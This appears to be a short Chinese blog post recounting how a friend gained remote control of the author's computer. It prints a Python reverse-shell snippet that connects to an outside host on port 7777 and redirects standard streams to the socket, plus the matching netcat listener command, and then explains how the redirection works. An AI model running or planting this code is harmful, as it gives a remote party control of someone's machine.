Netcat
楔子
和昌神[akxxsb]聊天,聊了一下近况(基金炒股,找工作近况,之前被骗之事)后,进入主线。昌神丢过来一串代码让我运行试试。
import socket,subprocess,os; from functools import partial def main(host='www.akxxsb.top', port=7777): #host = socket.gethostbyname(host) s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((host, port)); f = partial(os.dup2, s.fileno()) rv = list(map(f, range(3))) pid = os.fork() if pid == 0: p = subprocess.call(["vi"]); if __name__ == '__main__': main()
然后昌神就远程操纵了我的电脑。
原因:
昌神那边运行了命令nc -l 7777 后,等待我的代码运行。
我连上后,重定向了标准输入、标准输出、错误输出到网络套接字。之后开启子进程里的vim。
vim显示的框(标准输出)重定向到网络套接字,最后被昌神接收,显示在了昌神那边的电脑上;
昌神那边敲键盘(标准输入),传递到网络套接字,被我的电脑接收,显示出来(标准输出),结果又被重定向,最后还是被昌神接收,显示在他那边的电脑上。
于是,就被远程了。
诸神对凡人心生艳羡,厌倦天堂。